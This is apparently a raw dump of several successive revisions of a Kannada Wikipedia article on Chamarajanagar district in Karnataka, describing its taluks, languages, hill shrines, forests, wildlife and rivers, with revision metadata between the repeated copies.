*[[ಕೊಳ್ಳೇಗಾಲ]]. ಇತ್ತೀಚೆಗೆ ಹನೂರು ತಾಲೂಕು ರಚನೆಯಾಯಿತು. [[ಚಾಮರಾಜನಗರ]] ಜಿಲ್ಲೆಯಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಪ್ರಮುಖ ಭಾಷೆ ಕನ್ನಡ. ಇಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಭಾಷೆಗಳಲ್ಲಿ ಪ್ರಮುಖವಾದವು ಸೋಲಿಗನುಡಿ (ಮುಖ್ಯವಾಗಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪ್ರದೇಶದಲ್ಲಿ) ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯಲ್ಲಿ ಧಾರ್ಮಿಕ ಪ್ರಾಮುಖ್ಯತೆಯ ಸಾಕಷ್ಟು ಸ್ಥಳಗಳಿವೆ. ಇವುಗಳಲ್ಲಿ ಪ್ರಸಿದ್ಧವಾದದ್ದು ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ. ಇಲ್ಲಿ ನಡೆಯುವ ವಾರ್ಷಿಕ ಜಾತ್ರೆ ಸಾಕಷ್ಟು ಭಕ್ತರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. ಈ ಜಿಲ್ಲೆಯಲ್ಲಿ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಮುಖ್ಯವಾದವುಗಳೆಂದರೆ- ೧ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ , ೨ ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ ಮತ್ತು ೩ ಹಿಮವದ್ಗೋಪಾಲಸ್ವಾಮಿಬೆಟ್ಟ. ೪ ಶಿವನ ಸಮುದ್ರ ಬಂಡಿಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವು ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣಭಾಗದಲ್ಲಿದೆ. ಈ ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ದಟ್ಟವಾದ ಅರಣ್ಯಗಳಿದ್ದು ಇಲ್ಲಿನ ಪ್ರಮುಖ ವನ್ಯಜೀವಿಗಳು ಆನೆ, ಹುಲಿ, ಕರಡಿ, ಜಿಂಕೆ, ಇತ್ಯಾದಿ. ಇಲ್ಲಿನ ಕಾಡುಗಳು, ಮುಖ್ಯವಾಗಿ ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ, ಕುಖ್ಯಾತವಾದ ಕಾಡುಗಳ್ಳ ವೀರಪ್ಪನ್ ನ ಅಡಗುದಾಣಗಳಾಗಿದ್ದವು. '''(ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪರಿಚಯ''') ಕರ್ನಾಟಕದ ದಕ್ಷಿಣ ತುತ್ತತುದಿಯಲ್ಲಿರುವ ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆ ಭೂಪಟದಲ್ಲಿ ಬಾಹುಬಲಿಯ ಬಲಭಾಗದ ಪಾದುಕೆಯಂತೆ ಕಂಗೊಳಿಸುವುದನ್ನು ಕಾಣಬಹುದು. ದಕ್ಷಿಣ ಒಳನಾಡಿನ ಎಲೆ ಉದುರುವ, ಮಳೆಗಾಲದಲ್ಲಿ ಸದಾ ಹಸಿರಾಗಿರುವ ಅರಣ್ಯ ಸಾಲನ್ನು ಹೊಂದಿದೆ. ತಮಿಳುನಾಡು ಮತ್ತು ಕೇರಳಗಡಿಗುಂಟ ಹಂಚಿಕೊಂಡಿರುವ ಈ ಜಿಲ್ಲೆ ೧೧.೩೫ ಉತ್ತರ ಅಕ್ಷಾಂಶದಿಂದ ೧೨.೧೮ ಉತ್ತರ ಅಕ್ಷಾಂಶದವರೆವಿಗೂ, ೭೨.೨೪ ಪೂರ್ವ ರೇಖಾಂಶದಿಂದ ೭೭.೪೬ ಪೂರ್ವ ರೇಖಾಂಶದ ನಡುವೆ ೫೬೮೫ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹರಡಿಕೊಂಡಿದ. ಪೂರ್ವ ಮತ್ತು ಪಶ್ಚಿಮ ಘಟ್ಟ ಸಂದಿಸುವ ನೀಲಗಿರಿ ಅರಣ್ಯ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ವನ್ಯಧಾಮ ಮತ್ತು [[ಬಂಡೀಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ|ಬಂಡೀಪುರ]] ರಾಷ್ಟ್ರೀಯ ಹುಲಿ ಅಭಯಾರಣ್ಯ ೧೪೧೩ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹಬ್ಬಿದೆ. ಜಿಲ್ಲೆಯ ಎತ್ತರದ ಕತ್ತರಿಬೆಟ್ಟ ೧೮೧೬ ಮೀ (ಇದು ಅತ್ತಿಖಾನೆ ಗ್ರಾಮದ ಹತ್ತಿರದಲ್ಲಿದೆ), ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ೧೧೫೧ ಎಂ, ಬೇಡಗುಳಿ ಎಸ್ಟೇಟು ೧೪೦೦ ಮೀ ಗಳಾಗಿದ್ದು ಆನೆ, ಹುಲಿ, ಚಿರತೆ, ಕಾಡುಕೋಣ, ಸೀಳುನಾಯಿ, ಜಿಂಕೆ, ಕರಡಿ, ಸಾರಂಗ, ಸಿಂಗಳೀಕ, ನವಿಲು, ಅಪರೂಪದ ಕೀಟ ಪ್ರಭೇದವನ್ನು ಒಳಗೊಂಡಿದೆ. ಕೀಟಭಕ್ಷಕ ಸಸ್ಯವರ್ಗ ಒಳಗೊಂಡಂತೆ ಶ್ರೀಗಂಧ, ಬೀಟೆ, ಹೊನ್ನೆ, ನೀಲಗಿರಿ ಮತ್ತು ಸಿಂಕೋನ ವೃಕ್ಷಗಳ ಜೀವ-ವೈವಿದ್ಯತಾ ಆವಾಸಗಳ ನಡುವೆ ಕಾಣಬರುತ್ತದೆ.ಕ್ರಿಸ್ತಪೂರ್ವದಿಂದಲೂ ಆದಿ ಮಾನವನ ನೆಲೆಯಾಗಿದ್ದ ಶಿಲಾ ಸಮಾಧಿಗಳನ್ನು ಬುಡಕಟ್ಟು ಜನಾಂಗ ಸೋಲಿಗರು ವಾಸಿಸುವುದನ್ನು ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪೋಡುಗಳಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ. ಈ ಭಾಗದ ಜೀವನದಿಗಳಾದ ಸುವರ್ಣವತಿ ಚಿಕ್ಕಹೊಳೆ ಕಬಿನಿ, ಗುಂಡ್ಲು ನದಿಗಳು ಜಿಲ್ಲೆಯಲ್ಲಿ ಹರಿಯುವ ಕಾವೇರಿ ನದಿಯ ಉಪನದಿಗಳಾಗಿವೆ. ಇವುಗಳಿಗೆ ಅಲ್ಲಲ್ಲಿ ಅಣೆಕಟ್ಟೆ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಜೀವನದಿ ಕಾವೇರಿ ೧೧೦ ಕಿ.ಮೀ. ದೂರವನ್ನು ಕ್ರಮಿಸಿ, ಗಗನಚುಕ್ಕಿ, ಭರಚುಕ್ಕಿ ಜಲಪಾತ ಸೃಷ್ಟಿಸಿ ೧೯೦೨ ರಲ್ಲಿ ಏಷ್ಯಾದ ಮೊದಲ ಜಲವಿದ್ಯುತ್ ತಯಾರಿಕೆ ನೆಲೆಯಾಗಿದ್ದು ಇದೇ ಜಿಲ್ಲೆಯಲ್ಲಿ. ಮುಂದೆ ಮಹದೇಶ್ವರ ಬೆಟ್ಟದಿಂದ ೫೦ ಕಿ.ಮೀ ಅಂತರದಲ್ಲಿರುವ ಹೊಗೆನಕಲ್ ಜಲಪಾತ ನೈಸರ್ಗಿಕ ಶಿಲೆಗಳನ್ನು ಸೃಷ್ಟಿಸಿದೆ. ರಾಜ್ಯ, ರಾಷ್ಟ್ರ, ವಿದೇಶಿಯರ ಆಕರ್ಷಣೀಯ ನೈಸರ್ಗಿಕ ಜಲಪಾತಗಳು ಇಲ್ಲಿನ ವೈಶಿಷ್ಟ್ಯ *ಗಂಗರು, *ಹೊಯ್ಸಳರು, *ವಿಜಯನಗರ, *ಮೈಸೂರರಸರ ಕಲಾವೈಭವವನ್ನು ಚಾಮರಾಜನಗರದ ಬಳಿ ಇರುವ *ನರಸಮಂಗಲ, *ಹರದನಹಳ್ಳಿ, ಶಿಲಾಶಾಸನ, ಗುಂಡ್ಲುಪೇಟೆ ತಾಲೂಕಿನಲ್ಲಿ ಕಂಡುಬರುವ ವರಹಾವಾಸುದೇವ *ಮಂದಿರ,* ಹುಲುಗನ ಮೊರಡಿ,* ಹಿಮವದ್ ಗೋಪಾಲಸ್ವಾಮಿ ಬೆಟ್ಟ,* ಯಳಂದೂರಿನ ಬಳೇಮಂಟಪ,* ಜಹಾಗಿರ್‌ದಾರ್ ಬಂಗಲೆ, ಕೊಳ್ಳೆಗಾಲದ ಬಳಿಯ ಮಧ್ಯರಂಗ ಇಲ್ಲಿನ ಐತಿಹಾಸಿಕ ಕುರುಹುಗಳಾಗಿವೆ. *ಅನು *ಮನು #ನುಮ್ಬೆರ್ #ಮುಧ್ಲ್ಕ್ಘ್ದ್ದ್ qti1dexor3irhwti3727ztsm7a7ncl1 1116504 1116503 2022-08-23T15:28:46Z Vinod kalki 77720 wikitext text/x-wiki '''ಚಾಮರಾಜನಗರ''' ಜಿಲ್ಲೆಯು ತಮಿಳುನಾಡು ಮತು ಕೆರಳ ''ರಾಜ್ಯದ'' ಗಡಿಯನ್ನು ಹಂಚಿಹಕೂಂಡೀದೆ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ಗಡಿ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಜಿಲ್ಲೆಯು ೫ ತಾಲೂಕುಗಳನ್ನು ಹೊಂದಿದೆ,ಜಿಲ್ಲೆಯು ಮೊದಲು ೪ ತಲೂಕು ಗಳನ್ನು ಹೂಂದಿತು ಇಗ ಹನುರು ಅನ್ನು ತಾಲೊಕ್ ಹಾಗಿ ಸೆರಿಸಲಗಿದೆ . ಚಾಮರಾಜನಗರ ದಕ್ಷಿಣ ಕರ್ನಾಟಕದಲ್ಲಿರುವ ಒಂದು ಜಿಲ್ಲೆ. ಮೊದಲಿಗೆ ಮೈಸೂರು ಜಿಲ್ಲೆಯ ಭಾಗವಾಗಿದ್ದ ಚಾಮರಾಜನಗರ ಈಗ ಒಂದು ಸ್ವತಂತ್ರ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಈ ಜಿಲ್ಲೆಯ ಕೇಂದ್ರ ಅದೇ ಹೆಸರಿನ ಪಟ್ಟಣ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ತಾಲೂಕುಗಳು *ಚಾಮರಾಜನಗರ, *ಯಳಂದೂರು, *[[ಗುಂಡ್ಲುಪೇಟೆ]] ಮತ್ತು *[[ಕೊಳ್ಳೇಗಾಲ]]. ಇತ್ತೀಚೆಗೆ ಹನೂರು ತಾಲೂಕು ರಚನೆಯಾಯಿತು. [[ಚಾಮರಾಜನಗರ]] ಜಿಲ್ಲೆಯಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಪ್ರಮುಖ ಭಾಷೆ ಕನ್ನಡ. ಇಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಭಾಷೆಗಳಲ್ಲಿ ಪ್ರಮುಖವಾದವು ಸೋಲಿಗನುಡಿ (ಮುಖ್ಯವಾಗಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪ್ರದೇಶದಲ್ಲಿ) ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯಲ್ಲಿ ಧಾರ್ಮಿಕ ಪ್ರಾಮುಖ್ಯತೆಯ ಸಾಕಷ್ಟು ಸ್ಥಳಗಳಿವೆ. ಇವುಗಳಲ್ಲಿ ಪ್ರಸಿದ್ಧವಾದದ್ದು ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ. ಇಲ್ಲಿ ನಡೆಯುವ ವಾರ್ಷಿಕ ಜಾತ್ರೆ ಸಾಕಷ್ಟು ಭಕ್ತರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. ಈ ಜಿಲ್ಲೆಯಲ್ಲಿ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಮುಖ್ಯವಾದವುಗಳೆಂದರೆ- ೧ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ , ೨ ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ ಮತ್ತು ೩ ಹಿಮವದ್ಗೋಪಾಲಸ್ವಾಮಿಬೆಟ್ಟ. ೪ ಶಿವನ ಸಮುದ್ರ ಬಂಡಿಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವು ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣಭಾಗದಲ್ಲಿದೆ. ಈ ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ದಟ್ಟವಾದ ಅರಣ್ಯಗಳಿದ್ದು ಇಲ್ಲಿನ ಪ್ರಮುಖ ವನ್ಯಜೀವಿಗಳು ಆನೆ, ಹುಲಿ, ಕರಡಿ, ಜಿಂಕೆ, ಇತ್ಯಾದಿ. ಇಲ್ಲಿನ ಕಾಡುಗಳು, ಮುಖ್ಯವಾಗಿ ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ, ಕುಖ್ಯಾತವಾದ ಕಾಡುಗಳ್ಳ ವೀರಪ್ಪನ್ ನ ಅಡಗುದಾಣಗಳಾಗಿದ್ದವು. '''(ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪರಿಚಯ''') ಕರ್ನಾಟಕದ ದಕ್ಷಿಣ ತುತ್ತತುದಿಯಲ್ಲಿರುವ ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆ ಭೂಪಟದಲ್ಲಿ ಬಾಹುಬಲಿಯ ಬಲಭಾಗದ ಪಾದುಕೆಯಂತೆ ಕಂಗೊಳಿಸುವುದನ್ನು ಕಾಣಬಹುದು. ದಕ್ಷಿಣ ಒಳನಾಡಿನ ಎಲೆ ಉದುರುವ, ಮಳೆಗಾಲದಲ್ಲಿ ಸದಾ ಹಸಿರಾಗಿರುವ ಅರಣ್ಯ ಸಾಲನ್ನು ಹೊಂದಿದೆ. ತಮಿಳುನಾಡು ಮತ್ತು ಕೇರಳಗಡಿಗುಂಟ ಹಂಚಿಕೊಂಡಿರುವ ಈ ಜಿಲ್ಲೆ ೧೧.೩೫ ಉತ್ತರ ಅಕ್ಷಾಂಶದಿಂದ ೧೨.೧೮ ಉತ್ತರ ಅಕ್ಷಾಂಶದವರೆವಿಗೂ, ೭೨.೨೪ ಪೂರ್ವ ರೇಖಾಂಶದಿಂದ ೭೭.೪೬ ಪೂರ್ವ ರೇಖಾಂಶದ ನಡುವೆ ೫೬೮೫ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹರಡಿಕೊಂಡಿದ. ಪೂರ್ವ ಮತ್ತು ಪಶ್ಚಿಮ ಘಟ್ಟ ಸಂದಿಸುವ ನೀಲಗಿರಿ ಅರಣ್ಯ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ವನ್ಯಧಾಮ ಮತ್ತು [[ಬಂಡೀಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ|ಬಂಡೀಪುರ]] ರಾಷ್ಟ್ರೀಯ ಹುಲಿ ಅಭಯಾರಣ್ಯ ೧೪೧೩ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹಬ್ಬಿದೆ. ಜಿಲ್ಲೆಯ ಎತ್ತರದ ಕತ್ತರಿಬೆಟ್ಟ ೧೮೧೬ ಮೀ (ಇದು ಅತ್ತಿಖಾನೆ ಗ್ರಾಮದ ಹತ್ತಿರದಲ್ಲಿದೆ), ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ೧೧೫೧ ಎಂ, ಬೇಡಗುಳಿ ಎಸ್ಟೇಟು ೧೪೦೦ ಮೀ ಗಳಾಗಿದ್ದು ಆನೆ, ಹುಲಿ, ಚಿರತೆ, ಕಾಡುಕೋಣ, ಸೀಳುನಾಯಿ, ಜಿಂಕೆ, ಕರಡಿ, ಸಾರಂಗ, ಸಿಂಗಳೀಕ, ನವಿಲು, ಅಪರೂಪದ ಕೀಟ ಪ್ರಭೇದವನ್ನು ಒಳಗೊಂಡಿದೆ. ಕೀಟಭಕ್ಷಕ ಸಸ್ಯವರ್ಗ ಒಳಗೊಂಡಂತೆ ಶ್ರೀಗಂಧ, ಬೀಟೆ, ಹೊನ್ನೆ, ನೀಲಗಿರಿ ಮತ್ತು ಸಿಂಕೋನ ವೃಕ್ಷಗಳ ಜೀವ-ವೈವಿದ್ಯತಾ ಆವಾಸಗಳ ನಡುವೆ ಕಾಣಬರುತ್ತದೆ.ಕ್ರಿಸ್ತಪೂರ್ವದಿಂದಲೂ ಆದಿ ಮಾನವನ ನೆಲೆಯಾಗಿದ್ದ ಶಿಲಾ ಸಮಾಧಿಗಳನ್ನು ಬುಡಕಟ್ಟು ಜನಾಂಗ ಸೋಲಿಗರು ವಾಸಿಸುವುದನ್ನು ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪೋಡುಗಳಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ. ಈ ಭಾಗದ ಜೀವನದಿಗಳಾದ ಸುವರ್ಣವತಿ ಚಿಕ್ಕಹೊಳೆ ಕಬಿನಿ, ಗುಂಡ್ಲು ನದಿಗಳು ಜಿಲ್ಲೆಯಲ್ಲಿ ಹರಿಯುವ ಕಾವೇರಿ ನದಿಯ ಉಪನದಿಗಳಾಗಿವೆ. ಇವುಗಳಿಗೆ ಅಲ್ಲಲ್ಲಿ ಅಣೆಕಟ್ಟೆ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಜೀವನದಿ ಕಾವೇರಿ ೧೧೦ ಕಿ.ಮೀ. ದೂರವನ್ನು ಕ್ರಮಿಸಿ, ಗಗನಚುಕ್ಕಿ, ಭರಚುಕ್ಕಿ ಜಲಪಾತ ಸೃಷ್ಟಿಸಿ ೧೯೦೨ ರಲ್ಲಿ ಏಷ್ಯಾದ ಮೊದಲ ಜಲವಿದ್ಯುತ್ ತಯಾರಿಕೆ ನೆಲೆಯಾಗಿದ್ದು ಇದೇ ಜಿಲ್ಲೆಯಲ್ಲಿ. ಮುಂದೆ ಮಹದೇಶ್ವರ ಬೆಟ್ಟದಿಂದ ೫೦ ಕಿ.ಮೀ ಅಂತರದಲ್ಲಿರುವ ಹೊಗೆನಕಲ್ ಜಲಪಾತ ನೈಸರ್ಗಿಕ ಶಿಲೆಗಳನ್ನು ಸೃಷ್ಟಿಸಿದೆ. ರಾಜ್ಯ, ರಾಷ್ಟ್ರ, ವಿದೇಶಿಯರ ಆಕರ್ಷಣೀಯ ನೈಸರ್ಗಿಕ ಜಲಪಾತಗಳು ಇಲ್ಲಿನ ವೈಶಿಷ್ಟ್ಯ *ಗಂಗರು, *ಹೊಯ್ಸಳರು, *ವಿಜಯನಗರ, *ಮೈಸೂರರಸರ ಕಲಾವೈಭವವನ್ನು ಚಾಮರಾಜನಗರದ ಬಳಿ ಇರುವ *ನರಸಮಂಗಲ, *ಹರದನಹಳ್ಳಿ, ಶಿಲಾಶಾಸನ, ಗುಂಡ್ಲುಪೇಟೆ ತಾಲೂಕಿನಲ್ಲಿ ಕಂಡುಬರುವ ವರಹಾವಾಸುದೇವ *ಮಂದಿರ,* ಹುಲುಗನ ಮೊರಡಿ,* ಹಿಮವದ್ ಗೋಪಾಲಸ್ವಾಮಿ ಬೆಟ್ಟ,* ಯಳಂದೂರಿನ ಬಳೇಮಂಟಪ,* ಜಹಾಗಿರ್‌ದಾರ್ ಬಂಗಲೆ, ಕೊಳ್ಳೆಗಾಲದ ಬಳಿಯ ಮಧ್ಯರಂಗ ಇಲ್ಲಿನ ಐತಿಹಾಸಿಕ ಕುರುಹುಗಳಾಗಿವೆ. *ಅನು *ಮನು #ನುಮ್ಬೆರ್ #ಮುಧ್ಲ್ಕ್ಘ್ದ್ದ್ ekvuwaqn7prb055t0d01v0li5fmr1hk 1116505 1116504 2022-08-23T15:30:05Z Vinod kalki 77720 wikitext text/x-wiki '''ಚಾಮರಾಜನಗರ''' ಜಿಲ್ಲೆಯು ತಮಿಳುನಾಡು ಮತು ಕೆರಳ ''ರಾಜ್ಯದ'' ಗಡಿಯನ್ನು ಹಂಚಿಹಕೂಂಡೀದೆ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ಗಡಿ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಜಿಲ್ಲೆಯು ೫ ತಾಲೂಕುಗಳನ್ನು ಹೊಂದಿದೆ,ಜಿಲ್ಲೆಯು ಮೊದಲು ೪ ತಲೂಕು ಗಳನ್ನು ಹೂಂದಿತು ಇಗ ಹನುರು ಅನ್ನು ತಾಲೊಕ್ ಹಾಗಿ ಸೆರಿಸಲಗಿದೆ . ಚಾಮರಾಜನಗರ ದಕ್ಷಿಣ ಕರ್ನಾಟಕದಲ್ಲಿರುವ ಒಂದು ಜಿಲ್ಲೆ. ಮೊದಲಿಗೆ ಮೈಸೂರು ಜಿಲ್ಲೆಯ ಭಾಗವಾಗಿದ್ದ ಚಾಮರಾಜನಗರ ಈಗ ಒಂದು ಸ್ವತಂತ್ರ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಈ ಜಿಲ್ಲೆಯ ಕೇಂದ್ರ ಅದೇ ಹೆಸರಿನ ಪಟ್ಟಣ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ತಾಲೂಕುಗಳು *ಚಾಮರಾಜನಗರ, *ಯಳಂದೂರು, *[[ಗುಂಡ್ಲುಪೇಟೆ]] ಮತ್ತು *[[ಕೊಳ್ಳೇಗಾಲ]]. ಇತ್ತೀಚೆಗೆ ಹನೂರು ತಾಲೂಕು ರಚನೆಯಾಯಿತು. [[ಚಾಮರಾಜನಗರ]] ಜಿಲ್ಲೆಯಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಪ್ರಮುಖ ಭಾಷೆ ಕನ್ನಡ. ಇಲ್ಲಿ ಮಾತನಾಡಲ್ಪಡುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಭಾಷೆಗಳಲ್ಲಿ ಪ್ರಮುಖವಾದವು ಸೋಲಿಗನುಡಿ (ಮುಖ್ಯವಾಗಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪ್ರದೇಶದಲ್ಲಿ) ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯಲ್ಲಿ ಧಾರ್ಮಿಕ ಪ್ರಾಮುಖ್ಯತೆಯ ಸಾಕಷ್ಟು ಸ್ಥಳಗಳಿವೆ. ಇವುಗಳಲ್ಲಿ ಪ್ರಸಿದ್ಧವಾದದ್ದು ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ. ಇಲ್ಲಿ ನಡೆಯುವ ವಾರ್ಷಿಕ ಜಾತ್ರೆ ಸಾಕಷ್ಟು ಭಕ್ತರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. ಈ ಜಿಲ್ಲೆಯಲ್ಲಿ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಮುಖ್ಯವಾದವುಗಳೆಂದರೆ- ೧ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ , ೨ [[ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ]] ಮತ್ತು ೩ ಹಿಮವದ್ಗೋಪಾಲಸ್ವಾಮಿಬೆಟ್ಟ. ೪ ಶಿವನ ಸಮುದ್ರ ಬಂಡಿಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವು ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣಭಾಗದಲ್ಲಿದೆ. ಈ ಜಿಲ್ಲೆಯ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ದಟ್ಟವಾದ ಅರಣ್ಯಗಳಿದ್ದು ಇಲ್ಲಿನ ಪ್ರಮುಖ ವನ್ಯಜೀವಿಗಳು ಆನೆ, ಹುಲಿ, ಕರಡಿ, ಜಿಂಕೆ, ಇತ್ಯಾದಿ. ಇಲ್ಲಿನ ಕಾಡುಗಳು, ಮುಖ್ಯವಾಗಿ ಮಲೆಮಹದೇಶ್ವರ ಬೆಟ್ಟ, ಕುಖ್ಯಾತವಾದ ಕಾಡುಗಳ್ಳ ವೀರಪ್ಪನ್ ನ ಅಡಗುದಾಣಗಳಾಗಿದ್ದವು. '''(ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪರಿಚಯ''') ಕರ್ನಾಟಕದ ದಕ್ಷಿಣ ತುತ್ತತುದಿಯಲ್ಲಿರುವ ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆ ಭೂಪಟದಲ್ಲಿ ಬಾಹುಬಲಿಯ ಬಲಭಾಗದ ಪಾದುಕೆಯಂತೆ ಕಂಗೊಳಿಸುವುದನ್ನು ಕಾಣಬಹುದು. ದಕ್ಷಿಣ ಒಳನಾಡಿನ ಎಲೆ ಉದುರುವ, ಮಳೆಗಾಲದಲ್ಲಿ ಸದಾ ಹಸಿರಾಗಿರುವ ಅರಣ್ಯ ಸಾಲನ್ನು ಹೊಂದಿದೆ. ತಮಿಳುನಾಡು ಮತ್ತು ಕೇರಳಗಡಿಗುಂಟ ಹಂಚಿಕೊಂಡಿರುವ ಈ ಜಿಲ್ಲೆ ೧೧.೩೫ ಉತ್ತರ ಅಕ್ಷಾಂಶದಿಂದ ೧೨.೧೮ ಉತ್ತರ ಅಕ್ಷಾಂಶದವರೆವಿಗೂ, ೭೨.೨೪ ಪೂರ್ವ ರೇಖಾಂಶದಿಂದ ೭೭.೪೬ ಪೂರ್ವ ರೇಖಾಂಶದ ನಡುವೆ ೫೬೮೫ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹರಡಿಕೊಂಡಿದ. ಪೂರ್ವ ಮತ್ತು ಪಶ್ಚಿಮ ಘಟ್ಟ ಸಂದಿಸುವ ನೀಲಗಿರಿ ಅರಣ್ಯ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ವನ್ಯಧಾಮ ಮತ್ತು [[ಬಂಡೀಪುರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ|ಬಂಡೀಪುರ]] ರಾಷ್ಟ್ರೀಯ ಹುಲಿ ಅಭಯಾರಣ್ಯ ೧೪೧೩ ಚ.ಕಿ.ಮೀ. ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಹಬ್ಬಿದೆ. ಜಿಲ್ಲೆಯ ಎತ್ತರದ ಕತ್ತರಿಬೆಟ್ಟ ೧೮೧೬ ಮೀ (ಇದು ಅತ್ತಿಖಾನೆ ಗ್ರಾಮದ ಹತ್ತಿರದಲ್ಲಿದೆ), ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟ ೧೧೫೧ ಎಂ, ಬೇಡಗುಳಿ ಎಸ್ಟೇಟು ೧೪೦೦ ಮೀ ಗಳಾಗಿದ್ದು ಆನೆ, ಹುಲಿ, ಚಿರತೆ, ಕಾಡುಕೋಣ, ಸೀಳುನಾಯಿ, ಜಿಂಕೆ, ಕರಡಿ, ಸಾರಂಗ, ಸಿಂಗಳೀಕ, ನವಿಲು, ಅಪರೂಪದ ಕೀಟ ಪ್ರಭೇದವನ್ನು ಒಳಗೊಂಡಿದೆ. ಕೀಟಭಕ್ಷಕ ಸಸ್ಯವರ್ಗ ಒಳಗೊಂಡಂತೆ ಶ್ರೀಗಂಧ, ಬೀಟೆ, ಹೊನ್ನೆ, ನೀಲಗಿರಿ ಮತ್ತು ಸಿಂಕೋನ ವೃಕ್ಷಗಳ ಜೀವ-ವೈವಿದ್ಯತಾ ಆವಾಸಗಳ ನಡುವೆ ಕಾಣಬರುತ್ತದೆ.ಕ್ರಿಸ್ತಪೂರ್ವದಿಂದಲೂ ಆದಿ ಮಾನವನ ನೆಲೆಯಾಗಿದ್ದ ಶಿಲಾ ಸಮಾಧಿಗಳನ್ನು ಬುಡಕಟ್ಟು ಜನಾಂಗ ಸೋಲಿಗರು ವಾಸಿಸುವುದನ್ನು ಬಿಳಿಗಿರಿರಂಗನ ಬೆಟ್ಟದ ಪೋಡುಗಳಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ. ಈ ಭಾಗದ ಜೀವನದಿಗಳಾದ ಸುವರ್ಣವತಿ ಚಿಕ್ಕಹೊಳೆ 